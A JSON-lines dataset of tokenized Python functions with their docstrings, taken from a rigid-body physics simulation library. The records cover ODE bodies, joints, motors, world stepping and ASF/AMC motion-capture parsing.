{"signature": "def add_force(self, force, relative=False, position=None, relative_position=None):", "body": "b = self.ode_body<EOL>if relative_position is not None:<EOL><INDENT>op = b.addRelForceAtRelPos if relative else b.addForceAtRelPos<EOL>op(force, relative_position)<EOL><DEDENT>elif position is not None:<EOL><INDENT>op = b.addRelForceAtPos if relative else b.addForceAtPos<EOL>op(force, position)<EOL><DEDENT>else:<EOL><INDENT>op = b.addRelForce if relative else b.addForce<EOL>op(force)<EOL><DEDENT>", "docstring": "Add a force to this body.\n\n        Parameters\n        ----------\n        force : 3-tuple of float\n            A vector giving the forces along each world or body coordinate axis.\n        relative : bool, optional\n            If False, the force values are assumed to be given in the world\n            coordinate frame. If True, they are assumed to be given in the\n            body-relative coordinate frame. Defaults to False.\n        position : 3-tuple of float, optional\n            If given, apply the force at this location in world coordinates.\n            Defaults to the current position of the body.\n        relative_position : 3-tuple of float, optional\n            If given, apply the force at this relative location on the body. If\n            given, this method ignores the ``position`` parameter.", "id": "f14887:c1:m27"}
{"signature": "def add_torque(self, torque, relative=False):", "body": "op = self.ode_body.addRelTorque if relative else self.ode_body.addTorque<EOL>op(torque)<EOL>", "docstring": "Add a torque to this body.\n\n        Parameters\n        ----------\n        force : 3-tuple of float\n            A vector giving the torque along each world or body coordinate axis.\n        relative : bool, optional\n            If False, the torque values are assumed to be given in the world\n            coordinate frame. If True, they are assumed to be given in the\n            body-relative coordinate frame. Defaults to False.", "id": "f14887:c1:m28"}
{"signature": "def join_to(self, joint, other_body=None, **kwargs):", "body": "self.world.join(joint, self, other_body, **kwargs)<EOL>", "docstring": "Connect this body to another one using a joint.\n\n        This method creates a joint to fasten this body to the other one. See\n        :func:`World.join`.\n\n        Parameters\n        ----------\n        joint : str\n            The type of joint to use when connecting these bodies.\n        other_body : :class:`Body` or str, optional\n            The other body to join with this one. If not given, connects this\n            body to the world.", "id": "f14887:c1:m29"}
{"signature": "def connect_to(self, joint, other_body, offset=(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>), other_offset=(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>),<EOL>**kwargs):", "body": "anchor = self.world.move_next_to(self, other_body, offset, other_offset)<EOL>self.world.join(joint, self, other_body, anchor=anchor, **kwargs)<EOL>", "docstring": "Move another body next to this one and join them together.\n\n        This method will move the ``other_body`` so that the anchor points for\n        the joint coincide. It then creates a joint to fasten the two bodies\n        together. See :func:`World.move_next_to` and :func:`World.join`.\n\n        Parameters\n        ----------\n        joint : str\n            The type of joint to use when connecting these bodies.\n        other_body : :class:`Body` or str\n            The other body to join with this one.\n        offset : 3-tuple of float, optional\n            The body-relative offset where the anchor for the joint should be\n            placed. Defaults to (0, 0, 0). See :func:`World.move_next_to` for a\n            description of how offsets are specified.\n        other_offset : 3-tuple of float, optional\n            The offset on the second body where the joint anchor should be\n            placed. Defaults to (0, 0, 0). Like ``offset``, this is given as an\n            offset relative to the size and shape of ``other_body``.", "id": "f14887:c1:m30"}
{"signature": "@property<EOL><INDENT>def feedback(self):<DEDENT>", "body": "return self.ode_obj.getFeedback()<EOL>", "docstring": "Feedback buffer (list of 3-tuples) for this ODE motor/joint.", "id": "f14887:c6:m0"}
{"signature": "@property<EOL><INDENT>def positions(self):<DEDENT>", "body": "return [self.ode_obj.getPosition(i) for i in range(self.LDOF)]<EOL>", "docstring": "List of positions for linear degrees of freedom.", "id": "f14887:c6:m1"}
{"signature": "@property<EOL><INDENT>def position_rates(self):<DEDENT>", "body": "return [self.ode_obj.getPositionRate(i) for i in range(self.LDOF)]<EOL>", "docstring": "List of position rates for linear degrees of freedom.", "id": "f14887:c6:m2"}
{"signature": "@property<EOL><INDENT>def angles(self):<DEDENT>", "body": "return [self.ode_obj.getAngle(i) for i in range(self.ADOF)]<EOL>", "docstring": "List of angles for rotational degrees of freedom.", "id": "f14887:c6:m3"}
{"signature": "@property<EOL><INDENT>def angle_rates(self):<DEDENT>", "body": "return [self.ode_obj.getAngleRate(i) for i in range(self.ADOF)]<EOL>", "docstring": "List of angle rates for rotational degrees of freedom.", "id": "f14887:c6:m4"}
{"signature": "@property<EOL><INDENT>def axes(self):<DEDENT>", "body": "return [np.array(self.ode_obj.getAxis(i))<EOL>for i in range(self.ADOF or self.LDOF)]<EOL>", "docstring": "List of axes for this object's degrees of freedom.", "id": "f14887:c6:m5"}
{"signature": "@axes.setter<EOL><INDENT>def axes(self, axes):<DEDENT>", "body": "assert self.ADOF == len(axes) or self.LDOF == len(axes)<EOL>for i, axis in enumerate(axes):<EOL><INDENT>if axis is not None:<EOL><INDENT>self.ode_obj.setAxis(i, <NUM_LIT:0>, axis)<EOL><DEDENT><DEDENT>", "docstring": "Set the axes for this object's degrees of freedom.\n\n        Parameters\n        ----------\n        axes : list of axes specifications\n            A list of axis values to set. This list must have the same number of\n            elements as the degrees of freedom of the underlying ODE object.\n            Each element can be\n\n            (a) None, which has no effect on the corresponding axis, or\n            (b) three floats specifying the axis to set.", "id": "f14887:c6:m6"}
{"signature": "@property<EOL><INDENT>def lo_stops(self):<DEDENT>", "body": "return _get_params(self.ode_obj, '<STR_LIT>', self.ADOF + self.LDOF)<EOL>", "docstring": "List of lo stop values for this object's degrees of freedom.", "id": "f14887:c6:m7"}
{"signature": "@lo_stops.setter<EOL><INDENT>def lo_stops(self, lo_stops):<DEDENT>", "body": "_set_params(self.ode_obj, '<STR_LIT>', lo_stops, self.ADOF + self.LDOF)<EOL>", "docstring": "Set the lo stop values for this object's degrees of freedom.\n\n        Parameters\n        ----------\n        lo_stops : float or sequence of float\n            A lo stop value to set on all degrees of freedom, or a list\n            containing one such value for each degree of freedom. For rotational\n            degrees of freedom, these values must be in radians.", "id": "f14887:c6:m8"}
{"signature": "@property<EOL><INDENT>def hi_stops(self):<DEDENT>", "body": "return _get_params(self.ode_obj, '<STR_LIT>', self.ADOF + self.LDOF)<EOL>", "docstring": "List of hi stop values for this object's degrees of freedom.", "id": "f14887:c6:m9"}
{"signature": "@hi_stops.setter<EOL><INDENT>def hi_stops(self, hi_stops):<DEDENT>", "body": "_set_params(self.ode_obj, '<STR_LIT>', hi_stops, self.ADOF + self.LDOF)<EOL>", "docstring": "Set the hi stop values for this object's degrees of freedom.\n\n        Parameters\n        ----------\n        hi_stops : float or sequence of float\n            A hi stop value to set on all degrees of freedom, or a list\n            containing one such value for each degree of freedom. For rotational\n            degrees of freedom, these values must be in radians.", "id": "f14887:c6:m10"}
{"signature": "@property<EOL><INDENT>def velocities(self):<DEDENT>", "body": "return _get_params(self.ode_obj, '<STR_LIT>', self.ADOF + self.LDOF)<EOL>", "docstring": "List of target velocity values for rotational degrees of freedom.", "id": "f14887:c6:m11"}
{"signature": "@velocities.setter<EOL><INDENT>def velocities(self, velocities):<DEDENT>", "body": "_set_params(self.ode_obj, '<STR_LIT>', velocities, self.ADOF + self.LDOF)<EOL>", "docstring": "Set the target velocities for this object's degrees of freedom.\n\n        Parameters\n        ----------\n        velocities : float or sequence of float\n            A target velocity value to set on all degrees of freedom, or a list\n            containing one such value for each degree of freedom. For rotational\n            degrees of freedom, these values must be in radians / second.", "id": "f14887:c6:m12"}
{"signature": "@property<EOL><INDENT>def max_forces(self):<DEDENT>", "body": "return _get_params(self.ode_obj, '<STR_LIT>', self.ADOF + self.LDOF)<EOL>", "docstring": "List of max force values for rotational degrees of freedom.", "id": "f14887:c6:m13"}
{"signature": "@max_forces.setter<EOL><INDENT>def max_forces(self, max_forces):<DEDENT>", "body": "_set_params(self.ode_obj, '<STR_LIT>', max_forces, self.ADOF + self.LDOF)<EOL>", "docstring": "Set the maximum forces for this object's degrees of freedom.\n\n        Parameters\n        ----------\n        max_forces : float or sequence of float\n            A maximum force value to set on all degrees of freedom, or a list\n            containing one such value for each degree of freedom.", "id": "f14887:c6:m14"}
{"signature": "@property<EOL><INDENT>def erps(self):<DEDENT>", "body": "return _get_params(self.ode_obj, '<STR_LIT>', self.ADOF + self.LDOF)<EOL>", "docstring": "List of ERP values for this object's degrees of freedom.", "id": "f14887:c6:m15"}
{"signature": "@erps.setter<EOL><INDENT>def erps(self, erps):<DEDENT>", "body": "_set_params(self.ode_obj, '<STR_LIT>', erps, self.ADOF + self.LDOF)<EOL>", "docstring": "Set the ERP values for this object's degrees of freedom.\n\n        Parameters\n        ----------\n        erps : float or sequence of float\n            An ERP value to set on all degrees of freedom, or a list\n            containing one such value for each degree of freedom.", "id": "f14887:c6:m16"}
{"signature": "@property<EOL><INDENT>def cfms(self):<DEDENT>", "body": "return _get_params(self.ode_obj, '<STR_LIT>', self.ADOF + self.LDOF)<EOL>", "docstring": "List of CFM values for this object's degrees of freedom.", "id": "f14887:c6:m17"}
{"signature": "@cfms.setter<EOL><INDENT>def cfms(self, cfms):<DEDENT>", "body": "_set_params(self.ode_obj, '<STR_LIT>', cfms, self.ADOF + self.LDOF)<EOL>", "docstring": "Set the CFM values for this object's degrees of freedom.\n\n        Parameters\n        ----------\n        cfms : float or sequence of float\n            A CFM value to set on all degrees of freedom, or a list\n            containing one such value for each degree of freedom.", "id": "f14887:c6:m18"}
{"signature": "@property<EOL><INDENT>def stop_cfms(self):<DEDENT>", "body": "return _get_params(self.ode_obj, '<STR_LIT>', self.ADOF + self.LDOF)<EOL>", "docstring": "List of lo/hi stop CFM values.", "id": "f14887:c6:m19"}
{"signature": "@stop_cfms.setter<EOL><INDENT>def stop_cfms(self, stop_cfms):<DEDENT>", "body": "_set_params(self.ode_obj, '<STR_LIT>', stop_cfms, self.ADOF + self.LDOF)<EOL>", "docstring": "Set the CFM values for this object's DOF limits.\n\n        Parameters\n        ----------\n        stop_cfms : float or sequence of float\n            A CFM value to set on all degrees of freedom limits, or a list\n            containing one such value for each degree of freedom limit.", "id": "f14887:c6:m20"}
{"signature": "@property<EOL><INDENT>def stop_erps(self):<DEDENT>", "body": "return _get_params(self.ode_obj, '<STR_LIT>', self.ADOF + self.LDOF)<EOL>", "docstring": "List of lo/hi stop ERP values.", "id": "f14887:c6:m21"}
{"signature": "@stop_erps.setter<EOL><INDENT>def stop_erps(self, stop_erps):<DEDENT>", "body": "_set_params(self.ode_obj, '<STR_LIT>', stop_erps, self.ADOF + self.LDOF)<EOL>", "docstring": "Set the ERP values for this object's DOF limits.\n\n        Parameters\n        ----------\n        stop_erps : float or sequence of float\n            An ERP value to set on all degrees of freedom limits, or a list\n            containing one such value for each degree of freedom limit.", "id": "f14887:c6:m22"}
{"signature": "def enable_feedback(self):", "body": "self.ode_obj.setFeedback(True)<EOL>", "docstring": "Enable feedback on this ODE object.", "id": "f14887:c6:m23"}
{"signature": "def disable_feedback(self):", "body": "self.ode_obj.setFeedback(False)<EOL>", "docstring": "Disable feedback on this ODE object.", "id": "f14887:c6:m24"}
{"signature": "@property<EOL><INDENT>def ADOF(self):<DEDENT>", "body": "return self.ode_obj.getNumAxes()<EOL>", "docstring": "Number of angular degrees of freedom for this motor.", "id": "f14887:c8:m1"}
{"signature": "@property<EOL><INDENT>def axes(self):<DEDENT>", "body": "return [np.array(self.ode_obj.getAxis(i)) for i in range(self.ADOF)]<EOL>", "docstring": "List of axes for this object's degrees of freedom.", "id": "f14887:c8:m2"}
{"signature": "@axes.setter<EOL><INDENT>def axes(self, axes):<DEDENT>", "body": "assert len(axes) == self.ADOF<EOL>for i, ax in enumerate(axes):<EOL><INDENT>if ax is None:<EOL><INDENT>continue<EOL><DEDENT>if not isinstance(ax, dict):<EOL><INDENT>ax = dict(axis=ax)<EOL><DEDENT>self.ode_obj.setAxis(i, ax.get('<STR_LIT>', <NUM_LIT:0>), ax['<STR_LIT>'])<EOL><DEDENT>", "docstring": "Set the axes for this object's degrees of freedom.\n\n        Parameters\n        ----------\n        axes : list of axis parameters\n            A list of axis values to set. This list must have the same number of\n            elements as the degrees of freedom of the underlying ODE object.\n            Each element can be\n\n            (a) None, which has no effect on the corresponding axis, or\n            (b) three floats specifying the axis to set, or\n            (c) a dictionary with an \"axis\" key specifying the axis to set and\n                an optional \"rel\" key (defaults to 0) specifying the relative\n                body to set the axis on.", "id": "f14887:c8:m3"}
{"signature": "def add_torques(self, torques):", "body": "self.ode_obj.addTorques(*torques)<EOL>", "docstring": "Add the given torques along this motor's axes.\n\n        Parameters\n        ----------\n        torques : sequence of float\n            A sequence of torque values to apply to this motor's axes.", "id": "f14887:c8:m4"}
{"signature": "@property<EOL><INDENT>def LDOF(self):<DEDENT>", "body": "return self.ode_obj.getNumAxes()<EOL>", "docstring": "Number of linear degrees of freedom for this motor.", "id": "f14887:c9:m0"}
{"signature": "@property<EOL><INDENT>def anchor(self):<DEDENT>", "body": "return np.array(self.ode_obj.getAnchor())<EOL>", "docstring": "3-tuple specifying location of this joint's anchor.", "id": "f14887:c10:m2"}
{"signature": "@property<EOL><INDENT>def anchor2(self):<DEDENT>", "body": "return np.array(self.ode_obj.getAnchor2())<EOL>", "docstring": "3-tuple specifying location of the anchor on the second body.", "id": "f14887:c10:m3"}
{"signature": "def add_torques(self, *torques):", "body": "self.amotor.add_torques(*torques)<EOL>", "docstring": "Add the given torques along this joint's axes.\n\n        Parameters\n        ----------\n        torques : sequence of float\n            A sequence of torque values to apply to this motor's axes.", "id": "f14887:c10:m4"}
{"signature": "@property<EOL><INDENT>def positions(self):<DEDENT>", "body": "return [self.ode_obj.getPosition()]<EOL>", "docstring": "List of positions for this joint's linear degrees of freedom.", "id": "f14887:c12:m0"}
{"signature": "@property<EOL><INDENT>def position_rates(self):<DEDENT>", "body": "return [self.ode_obj.getPositionRate()]<EOL>", "docstring": "List of position rates for this joint's degrees of freedom.", "id": "f14887:c12:m1"}
{"signature": "@property<EOL><INDENT>def axes(self):<DEDENT>", "body": "return [np.array(self.ode_obj.getAxis())]<EOL>", "docstring": "Axis of displacement for this joint.", "id": "f14887:c12:m2"}
{"signature": "@axes.setter<EOL><INDENT>def axes(self, axes):<DEDENT>", "body": "self.lmotor.axes = [axes[<NUM_LIT:0>]]<EOL>self.ode_obj.setAxis(tuple(axes[<NUM_LIT:0>]))<EOL>", "docstring": "Set the linear axis of displacement for this joint.\n\n        Parameters\n        ----------\n        axes : list containing one 3-tuple of floats\n            A list of the axes for this joint. For a slider joint, which has one\n            degree of freedom, this must contain one 3-tuple specifying the X,\n            Y, and Z axis for the joint.", "id": "f14887:c12:m3"}
{"signature": "@property<EOL><INDENT>def angles(self):<DEDENT>", "body": "return [self.ode_obj.getAngle()]<EOL>", "docstring": "List of angles for this joint's rotational degrees of freedom.", "id": "f14887:c13:m0"}
{"signature": "@property<EOL><INDENT>def angle_rates(self):<DEDENT>", "body": "return [self.ode_obj.getAngleRate()]<EOL>", "docstring": "List of angle rates for this joint's degrees of freedom.", "id": "f14887:c13:m1"}
{"signature": "@property<EOL><INDENT>def axes(self):<DEDENT>", "body": "return [np.array(self.ode_obj.getAxis())]<EOL>", "docstring": "Axis of rotation for this joint.", "id": "f14887:c13:m2"}
{"signature": "@axes.setter<EOL><INDENT>def axes(self, axes):<DEDENT>", "body": "self.amotor.axes = [axes[<NUM_LIT:0>]]<EOL>self.ode_obj.setAxis(tuple(axes[<NUM_LIT:0>]))<EOL>", "docstring": "Set the angular axis of rotation for this joint.\n\n        Parameters\n        ----------\n        axes : list containing one 3-tuple of floats\n            A list of the axes for this joint. For a hinge joint, which has one\n            degree of freedom, this must contain one 3-tuple specifying the X,\n            Y, and Z axis for the joint.", "id": "f14887:c13:m3"}
{"signature": "@property<EOL><INDENT>def axes(self):<DEDENT>", "body": "return [np.array(self.ode_obj.getAxis())]<EOL>", "docstring": "Axis of rotation and displacement for this joint.", "id": "f14887:c14:m0"}
{"signature": "@property<EOL><INDENT>def axes(self):<DEDENT>", "body": "return [np.array(self.ode_obj.getAxis1()),<EOL>np.array(self.ode_obj.getAxis2())]<EOL>", "docstring": "A list of axes of rotation for this joint.", "id": "f14887:c15:m0"}
{"signature": "@property<EOL><INDENT>def angles(self):<DEDENT>", "body": "return [self.ode_obj.getAngle1(), self.ode_obj.getAngle2()]<EOL>", "docstring": "A list of two angles for this joint's degrees of freedom.", "id": "f14887:c15:m2"}
{"signature": "@property<EOL><INDENT>def angle_rates(self):<DEDENT>", "body": "return [self.ode_obj.getAngle1Rate(), self.ode_obj.getAngle2Rate()]<EOL>", "docstring": "A list of two angle rates for this joint's degrees of freedom.", "id": "f14887:c15:m3"}
{"signature": "@property<EOL><INDENT>def gravity(self):<DEDENT>", "body": "return self.ode_world.getGravity()<EOL>", "docstring": "Current gravity vector in the world.", "id": "f14887:c17:m1"}
{"signature": "@gravity.setter<EOL><INDENT>def gravity(self, gravity):<DEDENT>", "body": "return self.ode_world.setGravity(gravity)<EOL>", "docstring": "Set the gravity vector in the world.\n\n        Parameters\n        ----------\n        gravity : 3-tuple of float\n            The vector where gravity should point.", "id": "f14887:c17:m2"}
{"signature": "@property<EOL><INDENT>def cfm(self):<DEDENT>", "body": "return self.ode_world.getCFM()<EOL>", "docstring": "Current global CFM value.", "id": "f14887:c17:m3"}
{"signature": "@cfm.setter<EOL><INDENT>def cfm(self, cfm):<DEDENT>", "body": "return self.ode_world.setCFM(cfm)<EOL>", "docstring": "Set the global CFM value.\n\n        Parameters\n        ----------\n        cfm : float\n            The desired global CFM value.", "id": "f14887:c17:m4"}
{"signature": "@property<EOL><INDENT>def erp(self):<DEDENT>", "body": "return self.ode_world.getERP()<EOL>", "docstring": "Current global ERP value.", "id": "f14887:c17:m5"}
{"signature": "@erp.setter<EOL><INDENT>def erp(self, erp):<DEDENT>", "body": "return self.ode_world.setERP(erp)<EOL>", "docstring": "Set the global ERP value.\n\n        Parameters\n        ----------\n        erp : float\n            The desired global ERP value.", "id": "f14887:c17:m6"}
{"signature": "@property<EOL><INDENT>def bodies(self):<DEDENT>", "body": "for k in sorted(self._bodies):<EOL><INDENT>yield self._bodies[k]<EOL><DEDENT>", "docstring": "Sequence of all bodies in the world, sorted by name.", "id": "f14887:c17:m7"}
{"signature": "@property<EOL><INDENT>def joints(self):<DEDENT>", "body": "for k in sorted(self._joints):<EOL><INDENT>yield self._joints[k]<EOL><DEDENT>", "docstring": "Sequence of all joints in the world, sorted by name.", "id": "f14887:c17:m8"}
{"signature": "def get_body(self, key):", "body": "return self._bodies.get(key, key)<EOL>", "docstring": "Get a body by key.\n\n        Parameters\n        ----------\n        key : str, None, or :class:`Body`\n            The key for looking up a body. If this is None or a :class:`Body`\n            instance, the key itself will be returned.\n\n        Returns\n        -------\n        body : :class:`Body`\n            The body in the world with the given key.", "id": "f14887:c17:m9"}
{"signature": "def get_joint(self, key):", "body": "return self._joints.get(key, None)<EOL>", "docstring": "Get a joint by key.\n\n        Parameters\n        ----------\n        key : str\n            The key for a joint to look up.\n\n        Returns\n        -------\n        joint : :class:`Joint`\n            The joint in the world with the given key, or None if there is no\n            such joint.", "id": "f14887:c17:m10"}
{"signature": "def create_body(self, shape, name=None, **kwargs):", "body": "shape = shape.lower()<EOL>if name is None:<EOL><INDENT>for i in range(<NUM_LIT:1> + len(self._bodies)):<EOL><INDENT>name = '<STR_LIT>'.format(shape, i)<EOL>if name not in self._bodies:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>self._bodies[name] = Body.build(shape, name, self, **kwargs)<EOL>return self._bodies[name]<EOL>", "docstring": "Create a new body.\n\n        Parameters\n        ----------\n        shape : str\n            The \"shape\" of the body to be created. This should name a type of\n            body object, e.g., \"box\" or \"cap\".\n        name : str, optional\n            The name to use for this body. If not given, a default name will be\n            constructed of the form \"{shape}{# of objects in the world}\".\n\n        Returns\n        -------\n        body : :class:`Body`\n            The created body object.", "id": "f14887:c17:m11"}
{"signature": "def join(self, shape, body_a, body_b=None, name=None, **kwargs):", "body": "ba = self.get_body(body_a)<EOL>bb = self.get_body(body_b)<EOL>shape = shape.lower()<EOL>if name is None:<EOL><INDENT>name = '<STR_LIT>'.format(ba.name, shape, bb.name if bb else '<STR_LIT>')<EOL><DEDENT>self._joints[name] = Joint.build(<EOL>shape, name, self, body_a=ba, body_b=bb, **kwargs)<EOL>return self._joints[name]<EOL>", "docstring": "Create a new joint that connects two bodies together.\n\n        Parameters\n        ----------\n        shape : str\n            The \"shape\" of the joint to use for joining together two bodies.\n            This should name a type of joint, such as \"ball\" or \"piston\".\n        body_a : str or :class:`Body`\n            The first body to join together with this joint. If a string is\n            given, it will be used as the name of a body to look up in the\n            world.\n        body_b : str or :class:`Body`, optional\n            If given, identifies the second body to join together with\n            ``body_a``. If not given, ``body_a`` is joined to the world.\n        name : str, optional\n            If given, use this name for the created joint. If not given, a name\n            will be constructed of the form\n            \"{body_a.name}^{shape}^{body_b.name}\".\n\n        Returns\n        -------\n        joint : :class:`Joint`\n            The joint object that was created.", "id": "f14887:c17:m12"}
{"signature": "def move_next_to(self, body_a, body_b, offset_a, offset_b):", "body": "ba = self.get_body(body_a)<EOL>bb = self.get_body(body_b)<EOL>if ba is None:<EOL><INDENT>return bb.relative_offset_to_world(offset_b)<EOL><DEDENT>if bb is None:<EOL><INDENT>return ba.relative_offset_to_world(offset_a)<EOL><DEDENT>anchor = ba.relative_offset_to_world(offset_a)<EOL>offset = bb.relative_offset_to_world(offset_b)<EOL>bb.position = bb.position + anchor - offset<EOL>return anchor<EOL>", "docstring": "Move one body to be near another one.\n\n        After moving, the location described by ``offset_a`` on ``body_a`` will\n        be coincident with the location described by ``offset_b`` on ``body_b``.\n\n        Parameters\n        ----------\n        body_a : str or :class:`Body`\n            The body to use as a reference for moving the other body. If this is\n            a string, it is treated as the name of a body to look up in the\n            world.\n        body_b : str or :class:`Body`\n            The body to move next to ``body_a``. If this is a string, it is\n            treated as the name of a body to look up in the world.\n        offset_a : 3-tuple of float\n            The offset of the anchor point, given as a relative fraction of the\n            size of ``body_a``. See :func:`Body.relative_offset_to_world`.\n        offset_b : 3-tuple of float\n            The offset of the anchor point, given as a relative fraction of the\n            size of ``body_b``.\n\n        Returns\n        -------\n        anchor : 3-tuple of float\n            The location of the shared point, which is often useful to use as a\n            joint anchor.", "id": "f14887:c17:m13"}
{"signature": "def get_body_states(self):", "body": "return [b.state for b in self.bodies]<EOL>", "docstring": "Return the complete state of all bodies in the world.\n\n        Returns\n        -------\n        states : list of state information tuples\n            A list of body state information for each body in the world. See\n            :func:`Body.state`.", "id": "f14887:c17:m14"}
{"signature": "def set_body_states(self, states):", "body": "for state in states:<EOL><INDENT>self.get_body(state.name).state = state<EOL><DEDENT>", "docstring": "Set the states of some bodies in the world.\n\n        Parameters\n        ----------\n        states : sequence of states\n            A complete state tuple for one or more bodies in the world. See\n            :func:`get_body_states`.", "id": "f14887:c17:m15"}
{"signature": "def step(self, substeps=<NUM_LIT:2>):", "body": "self.frame_no += <NUM_LIT:1><EOL>dt = self.dt / substeps<EOL>for _ in range(substeps):<EOL><INDENT>self.ode_contactgroup.empty()<EOL>self.ode_space.collide(None, self.on_collision)<EOL>self.ode_world.step(dt)<EOL><DEDENT>", "docstring": "Step the world forward by one frame.\n\n        Parameters\n        ----------\n        substeps : int, optional\n            Split the step into this many sub-steps. This helps to prevent the\n            time delta for an update from being too large.", "id": "f14887:c17:m16"}
{"signature": "def needs_reset(self):", "body": "return False<EOL>", "docstring": "Return True iff the world needs to be reset.", "id": "f14887:c17:m17"}
{"signature": "def reset(self):", "body": "pass<EOL>", "docstring": "Reset the state of the world.", "id": "f14887:c17:m18"}
{"signature": "def on_key_press(self, key, modifiers, keymap):", "body": "if key == keymap.ENTER:<EOL><INDENT>self.reset()<EOL>return True<EOL><DEDENT>", "docstring": "Handle an otherwise unhandled keypress event (from a GUI).", "id": "f14887:c17:m19"}
{"signature": "def are_connected(self, body_a, body_b):", "body": "return bool(ode.areConnected(<EOL>self.get_body(body_a).ode_body,<EOL>self.get_body(body_b).ode_body))<EOL>", "docstring": "Determine whether the given bodies are currently connected.\n\n        Parameters\n        ----------\n        body_a : str or :class:`Body`\n            One body to test for connectedness. If this is a string, it is\n            treated as the name of a body to look up.\n        body_b : str or :class:`Body`\n            One body to test for connectedness. If this is a string, it is\n            treated as the name of a body to look up.\n\n        Returns\n        -------\n        connected : bool\n            Return True iff the two bodies are connected.", "id": "f14887:c17:m20"}
{"signature": "def on_collision(self, args, geom_a, geom_b):", "body": "body_a = geom_a.getBody()<EOL>body_b = geom_b.getBody()<EOL>if ode.areConnected(body_a, body_b) or(body_a and body_a.isKinematic()) or(body_b and body_b.isKinematic()):<EOL><INDENT>return<EOL><DEDENT>for c in ode.collide(geom_a, geom_b):<EOL><INDENT>c.setBounce(self.elasticity)<EOL>c.setMu(self.friction)<EOL>ode.ContactJoint(self.ode_world, self.ode_contactgroup, c).attach(<EOL>geom_a.getBody(), geom_b.getBody())<EOL><DEDENT>", "docstring": "Callback function for the collide() method.\n\n        Parameters\n        ----------\n        args : None\n            Arguments passed when the callback was registered. Not used.\n        geom_a : ODE geometry\n            The geometry object of one of the bodies that has collided.\n        geom_b : ODE geometry\n            The geometry object of one of the bodies that has collided.", "id": "f14887:c17:m21"}
{"signature": "def parse(source, world, jointgroup=None, density=<NUM_LIT:1000>, color=None):", "body": "visitor = Visitor(world, jointgroup, density, color)<EOL>visitor.parse(re.sub(r'<STR_LIT>', '<STR_LIT:U+0020>', source.read()))<EOL>return visitor<EOL>", "docstring": "Load and parse a source file.\n\n    Parameters\n    ----------\n    source : file\n        A file-like object that contains text information describing bodies and\n        joints to add to the world.\n    world : :class:`pagoda.physics.World`\n        The world to add objects and joints to.\n    jointgroup : ode.JointGroup, optional\n        If provided, add all joints from this parse to the given group. The\n        default behavior adds joints to the world without an explicit group.\n    density : float, optional\n        Default density for bodies. This is overridden if the source provides a\n        density or mass value for a given body.\n    color : tuple of floats, optional\n        Default color for bodies from this source. Defaults to None, which does\n        not assign a color to parsed bodies.", "id": "f14888:m0"}
{"signature": "def parse_asf(source, world, jointgroup=None, density=<NUM_LIT:1000>, color=None):", "body": "visitor = AsfVisitor(world, jointgroup, density, color)<EOL>visitor.parse(re.sub(r'<STR_LIT>', '<STR_LIT:U+0020>', source.read()))<EOL>return visitor<EOL>", "docstring": "Load and parse a source file.\n\n    Parameters\n    ----------\n    source : file\n        A file-like object that contains text information describing bodies and\n        joints to add to the world.\n    world : :class:`pagoda.physics.World`\n        The world to add objects and joints to.\n    jointgroup : ode.JointGroup, optional\n        If provided, add all joints from this parse to the given group. The\n        default behavior adds joints to the world without an explicit group.\n    density : float, optional\n        Default density for bodies. This is overridden if the source provides a\n        density or mass value for a given body.\n    color : tuple of floats, optional\n        Default color for bodies from this source. Defaults to None, which does\n        not assign a color to parsed bodies.", "id": "f14888:m1"}
{"signature": "def parse_amc(source):", "body": "lines = <NUM_LIT:0><EOL>frames = <NUM_LIT:1><EOL>frame = {}<EOL>degrees = False<EOL>for line in source:<EOL><INDENT>lines += <NUM_LIT:1><EOL>line = line.split('<STR_LIT:#>')[<NUM_LIT:0>].strip()<EOL>if not line:<EOL><INDENT>continue<EOL><DEDENT>if line.startswith('<STR_LIT::>'):<EOL><INDENT>if line.lower().startswith('<STR_LIT>'):<EOL><INDENT>degrees = True<EOL><DEDENT>continue<EOL><DEDENT>if line.isdigit():<EOL><INDENT>if int(line) != frames:<EOL><INDENT>raise RuntimeError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(lines, frames, line))<EOL><DEDENT>yield frame<EOL>frames += <NUM_LIT:1><EOL>frame = {}<EOL>continue<EOL><DEDENT>fields = line.split()<EOL>frame[fields[<NUM_LIT:0>]] = list(map(float, fields[<NUM_LIT:1>:]))<EOL><DEDENT>", "docstring": "Parse an AMC motion capture data file.\n\n    Parameters\n    ----------\n    source : file\n        A file-like object that contains AMC motion capture text.\n\n    Yields\n    ------\n    frame : dict\n        Yields a series of motion capture frames. Each frame is a dictionary\n        that maps a bone name to a list of the DOF configurations for that bone.", "id": "f14888:m2"}
{"signature": "@property<EOL><INDENT>def scale(self):<DEDENT>", "body": "return <NUM_LIT> / (<NUM_LIT> * self.units['<STR_LIT>'])<EOL>", "docstring": "Return a factor to convert length-scaled inches to mm.", "id": "f14888:c3:m21"}
{"signature": "def create_bodies(self, translate=(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>), size=<NUM_LIT:0.1>):", "body": "stack = [('<STR_LIT:root>', <NUM_LIT:0>, self.root['<STR_LIT>'] + translate)]<EOL>while stack:<EOL><INDENT>name, depth, end = stack.pop()<EOL>for child in self.hierarchy.get(name, ()):<EOL><INDENT>stack.append((child, depth + <NUM_LIT:1>, end + self.bones[child].end))<EOL><DEDENT>if name not in self.bones:<EOL><INDENT>continue<EOL><DEDENT>bone = self.bones[name]<EOL>body = self.world.create_body(<EOL>'<STR_LIT>', name=bone.name, density=self.density,<EOL>lengths=(size, size, bone.length))<EOL>body.color = self.color<EOL>x, y, z = end - bone.direction * bone.length / <NUM_LIT:2><EOL>body.position = x, z, y<EOL>u = bone.direction<EOL>v = np.cross(u, [<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>])<EOL>l = np.linalg.norm(v)<EOL>if l > <NUM_LIT:0>:<EOL><INDENT>v /= l<EOL>rot = np.vstack([np.cross(u, v), v, u]).T<EOL>swizzle = [[<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>], [<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>], [<NUM_LIT:0>, -<NUM_LIT:1>, <NUM_LIT:0>]]<EOL>body.rotation = np.dot(swizzle, rot)<EOL><DEDENT>self.bodies.append(body)<EOL><DEDENT>", "docstring": "Traverse the bone hierarchy and create physics bodies.", "id": "f14888:c3:m22"}
